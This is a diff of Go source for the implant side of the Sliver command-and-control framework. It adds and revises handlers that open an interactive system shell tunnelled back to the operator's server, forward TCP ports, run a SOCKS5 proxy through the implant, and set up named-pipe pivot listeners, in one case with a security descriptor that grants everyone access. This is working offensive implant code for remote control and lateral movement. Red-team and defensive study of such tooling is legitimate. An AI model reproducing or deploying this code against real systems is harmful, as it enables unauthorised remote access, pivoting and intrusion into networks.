tunnelDataCache[tunnel.ID][tunnelData.Sequence] = tunnelData
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
cache := tunnelDataCache[tunnel.ID]
for recv, ok := cache[tunnel.ReadSequence]; ok; recv, ok = cache[tunnel.ReadSequence] {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
delete(cache, tunnel.ReadSequence)
tunnel.ReadSequence++ // Increment sequence counter
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if len(cache) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence, // The tunnel write sequence
Ack: tunnel.ReadSequence,
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence)
// {{end}}
connection.RequestResend(data)
}
}
//Unlock
l.Unlock()
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
// {{end}}
}
}
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence, // The tunnel write sequence
Ack: tw.tun.ReadSequence,
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence, tw.tun.ReadSequence)
// {{end}}
tw.tun.WriteSequence++ // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
func shellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
return
}
go systemShell.StartAndWait()
// Wait for the process to actually spawn
for {
if systemShell.Command.Process == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Waiting for process to spawn ...")
// {{end}}
time.Sleep(time.Second)
} else {
break
}
}
tunnel := &transports.Tunnel{
ID: shellReq.TunnelID,
Reader: systemShell.Stdout,
Writer: systemShell.Stdin,
}
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
for {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated")
return
}
}
if err == io.EOF {
cleanup("EOF")
return
}
}
}()
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
func portfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
dst, err := defaultDialer.DialContext(context.Background(), "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
tunnel := &transports.Tunnel{
ID: portfwdReq.TunnelID,
Reader: dst,
Writer: dst,
}
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
cleanup(err)
}()
}
type socksTunnelPool struct {
tunnels map[uint64]chan []byte
readMutex *sync.Mutex
writeMutex *sync.Mutex
Sequence map[uint64]uint64
}
var socksTunnels = socksTunnelPool{
tunnels: map[uint64]chan []byte{},
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
Sequence: map[uint64]uint64{},
}
var socksServer *socks5.Server
func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if _, ok := socksTunnels.tunnels[socksData.TunnelID]; !ok {
socksTunnels.tunnels[socksData.TunnelID] = make(chan []byte, 10)
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
return
}
} else {
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
socksTunnels.readMutex.Lock()
channel := socksTunnels.tunnels[s.stream.TunnelID]
socksTunnels.readMutex.Unlock()
data := <-channel
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
socksTunnels.writeMutex.Lock()
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: s.Sequence,
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", s.Sequence, len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
socksTunnels.writeMutex.Unlock()
s.Sequence++
return len(b), err
}
func (s *socks) Close() error {
close(socksTunnels.tunnels[s.stream.TunnelID])
delete(socksTunnels.tunnels, s.stream.TunnelID)
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -0,0 +1,32 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Close() // Call tunnel.Close instead of individually closing each Reader/Writer here
tunnelDataCache.DeleteTun(tunnel.ID)
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
// {{end}}
}
}
@@ -0,0 +1,66 @@
package tunnel_handlers
import (
"sync"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// TunnelID -> Sequence Number -> Data
tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
)
type dataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.TunnelData
}
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *dataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
func (c *dataCache) Len(tunnelID uint64) int {
c.mutex.RLock()
defer c.mutex.RUnlock()
return len(c.cache[tunnelID])
}
@@ -0,0 +1,81 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
tunnel.IncReadSequence() // Increment sequence counter
// {{if .Config.Debug}}
log.Printf("[message just received] %v", tunnelData)
// {{end}}
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if tunnelDataCache.Len(tunnel.ID) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
Ack: tunnel.ReadSequence(),
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
// {{end}}
connection.RequestResend(data)
}
}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
log.Printf("[message just transfered] %v", tunnelData)
// {{end}}
}
}
@@ -0,0 +1,126 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, portfwdResp)
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
ctx, cancelContext := context.WithCancel(context.Background())
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
cancelContext()
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, portfwdResp)
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[portfwd] Creating tcp tunnel")
// {{end}}
tunnel := transports.NewTunnel(
portfwdReq.TunnelID,
dst,
dst,
)
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
@@ -0,0 +1,138 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"io"
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, shellResp)
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, shellResp)
return
}
// At this point, comand is already started by StartInteractive
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to spawn! err: %v", err)
// {{end}}
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, shellResp)
return
} else {
// {{if .Config.Debug}}
log.Printf("[shell] Process spawned!")
// {{end}}
}
tunnel := transports.NewTunnel(
shellReq.TunnelID,
systemShell.Stdin,
systemShell.Stdout,
systemShell.Stderr,
)
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string, err error) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel request %d (%s). Err: %v", tunnel.ID, reason, err)
// {{end}}
systemShell.Stop()
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
for _, rc := range tunnel.Readers {
go func(outErr io.ReadCloser) {
tWriter := tunnelWriter{
conn: connection,
tun: tunnel,
}
_, err := io.Copy(tWriter, outErr)
if err != nil {
cleanup("io error", err)
return
}
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
if err != nil {
cleanup("shell wait error", err)
return
}
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated", nil)
return
}
}
if err == io.EOF {
cleanup("EOF", err)
return
}
}(rc)
}
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
@@ -0,0 +1,165 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"errors"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
type socksTunnelPool struct {
tunnels *sync.Map // map[uint64]chan []byte
}
var socksTunnels = socksTunnelPool{
tunnels: &sync.Map{},
}
var socksServer *socks5.Server
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
tunnelChan := make(chan []byte, 10)
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
tunnelChan <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to serve connection: %v", err)
// {{end}}
return
}
} else {
tunnel.(chan []byte) <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
if !ok {
return 0, errors.New("[socks] invalid tunnel id")
}
data := <-channel.(chan []byte)
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: atomic.LoadUint64(&s.Sequence),
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", atomic.LoadUint64(&s.Sequence), len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
atomic.AddUint64(&s.Sequence, 1)
return len(b), err
}
func (s *socks) Close() error {
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
if !ok {
return errors.New("[socks] can't close unknown channel")
}
close(channel.(chan []byte))
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -0,0 +1,38 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
@@ -0,0 +1,13 @@
package tunnel_handlers
import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func reportError(envelope *sliverpb.Envelope, connection *transports.Connection, data []byte) {
connection.Send <- &sliverpb.Envelope{
Data: data,
ID: envelope.ID,
}
}
+12 -3
View File
@@ -31,17 +31,25 @@ import (
"github.com/lesnuages/go-winio"
)
const PipeAllowAllAccess = 0
var (
namedpipePivotReadDeadline = 10 * time.Second
namedpipePivotWriteDeadline = 10 * time.Second
)
// CreateNamedPipePivotListener - Starts a named pipe listener
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
sd := ""
if len(opts) > 0 {
if opts[PipeAllowAllAccess] {
sd = "D:(A;;0x1f019f;;;WD)" // open to all
}
}
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
//SecurityDescriptor: "",
RemoteClientMode: true,
SecurityDescriptor: sd,
RemoteClientMode: true,
})
// {{if .Config.Debug}}
log.Printf("Listening on named pipe %s", fullName)
@@ -56,6 +64,7 @@ func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope)
PivotConnections: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
Options: opts,
}
go namedPipeAcceptConnections(pivotLn)
return pivotLn, nil
+25 -24
View File
@@ -24,6 +24,7 @@ import (
"encoding/base64"
"encoding/binary"
"errors"
"io"
"net"
"sync"
"time"
@@ -38,10 +39,6 @@ import (
"google.golang.org/protobuf/proto"
)
const (
readBufSize = 1024
)
var (
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
@@ -75,7 +72,7 @@ func generatePeerID() int64 {
}
// CreateListener - Generic interface to a start listener function
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
type CreateListener func(string, chan<- *pb.Envelope, ...bool) (*PivotListener, error)
// GetListeners - Get a list of active listeners
func GetListeners() []*pb.PivotListener {
@@ -109,18 +106,19 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
stoppedPivotListeners.Range(func(key, value interface{}) bool {
stoppedListener := value.(*PivotListener)
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
listener, err := createListener(stoppedListener.BindAddress, send)
listener, err := createListener(stoppedListener.BindAddress, send, stoppedListener.Options...)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] failed to restart listener: %s", err)
// {{end}}
return false
}
go listener.Start()
AddListener(listener)
}
return true
})
stoppedPivotListeners = nil
stoppedPivotListeners = &sync.Map{}
}
// StopAllListeners - Stop all pivot listeners
@@ -210,6 +208,7 @@ type PivotListener struct {
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
Options []bool
}
// ToProtobuf - Get the protobuf version of the pivot listener
@@ -476,7 +475,9 @@ func (p *NetConnPivot) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
dataLengthBuf := make([]byte, 4)
n, err := p.conn.Read(dataLengthBuf)
n, err := io.ReadFull(p.conn, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -485,23 +486,23 @@ func (p *NetConnPivot) read() ([]byte, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, readBufSize)
dataBuf := []byte{}
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, err
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, err
}
return dataBuf, err
}
+1 -1
View File
@@ -36,7 +36,7 @@ var (
)
// CreateTCPPivotListener - Start a TCP listener
